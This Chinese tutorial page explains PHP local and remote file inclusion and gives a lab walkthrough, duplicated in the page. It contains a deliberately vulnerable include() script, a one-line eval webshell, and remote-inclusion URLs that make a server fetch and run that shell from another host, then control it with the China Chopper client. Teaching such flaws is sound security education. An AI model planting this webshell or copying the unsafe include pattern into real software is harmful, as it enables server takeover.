亲宝软件园·资讯

展开

文件包含漏洞原理及利用

1GB 人气:0

一、文件包含漏洞的原理

  服务器解析执行php文件时能够通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,也就意味着木马程序会在服务器上加载执行。下面介绍php的四种文件包含函数。

require()     只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include()
    执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
include_once()
  若文件中代码已被包含则不会再次包含
require_once()
  若文件中代码已被包含则不会再次包含

 

 

 

  现在给出一段代码,如果这段代码出现在服务器上的某个php文件中(这个php文件能被访问),很有可能会产生文件包含漏洞。

<?php
    $filename = $_GET['filepath'];
    include($filename);
?>

  文件包含漏洞包括本地文件包含漏洞和远程文件包含漏洞,顾名思义,本地文件包含漏洞指的是包含本地的php文件,远程文件包含漏洞包含的是其它服务器上的php文件。废话不多说,让我们来实验一下文件包含漏洞。

 

二、文件包含漏洞的利用

(1)实验环境

(a)一台windows虚拟机(192.168.227.139)上安装有phpstudy,并对参数进行如下设置:

 

 

 

(b)准备漏洞php程序fileinclude.php:

1:fileinclude-- </br>

<?php

$filename = $_GET['filepath'];

include($filename);

?>

 

准备一句话木马程序muam.txt、muma.php:

 2:muma--txt

<?php @eval($_POST['tp']); ?>

 

(c)准备一台安装有IIS的服务器(192.168.227.147),并将muam.txt、muma.php木马放入网站目录下:

 

 

 

 

将php漏洞程序fileinclude.php放到windows虚拟机(192.168.227.139)的站点目录下 

   

 

 

(d)对IIS进行如下设置(非必须):

复现IIS目录遍历漏洞

 

 

   

 

 

对Apache进行如下设置(非必须)

修改l.php文件名或者将其删除,复现Apache目录遍历漏洞:

 

 

 

 

 

(2)测试IIS服务器和Apache服务器

IIS环境正常:

 

 

 

Apache环境正常:

 

 

 

 

(3)远程包含漏洞包含一句话木马——muma.php

在浏览器中输入url:

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php

 

 

 

 

使用中国菜刀连接:

 

 

 

连接成功

 

 

 

 

(4)远程包含漏洞包含一句话木马——muma.txt

在浏览器中输入url:

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt

 

 

 

使用中国菜刀连接:

   

 

 

连接成功:

  

 

 

                                    2020-03-08

这是手工搭建环境复现文件包含漏洞,下一篇介绍web for pentester系统实验文件包含漏洞测试

(1)实验环境

(a)一台windows虚拟机(192.168.227.139)上安装有phpstudy,并对参数进行如下设置:

 

(b)准备漏洞php程序fileinclude.php:

1:fileinclude-- </br>

<?php

$filename = $_GET['filepath'];

include($filename);

?>

 

准备一句话木马程序muam.txt、muma.php:

 2:muma--txt

<?php @eval($_POST['tp']); ?>

 

(c)准备一台安装有IIS的服务器(192.168.227.147),并将muam.txt、muma.php木马放入网站目录下:

 

 

将php漏洞程序fileinclude.php放到windows虚拟机(192.168.227.139)的站点目录下:

 

 

(d)对IIS进行如下设置(非必须):

复现IIS目录遍历漏洞

 

 

 

对Apache进行如下设置(非必须)

修改l.php文件名或者将其删除,复现Apache目录遍历漏洞:

 

 

 

(2)测试IIS服务器和Apache服务器

IIS环境正常:

 

Apache环境正常:

 

 

(3)远程包含漏洞包含一句话木马——muma.php

在浏览器中输入url:

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php

 

 

使用中国菜刀连接:

 

连接成功

 

 

(4)远程包含漏洞包含一句话木马——muma.txt

在浏览器中输入url:

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt

 

使用中国菜刀连接:

 

连接成功:

加载全部内容

相关教程
猜你喜欢
用户评论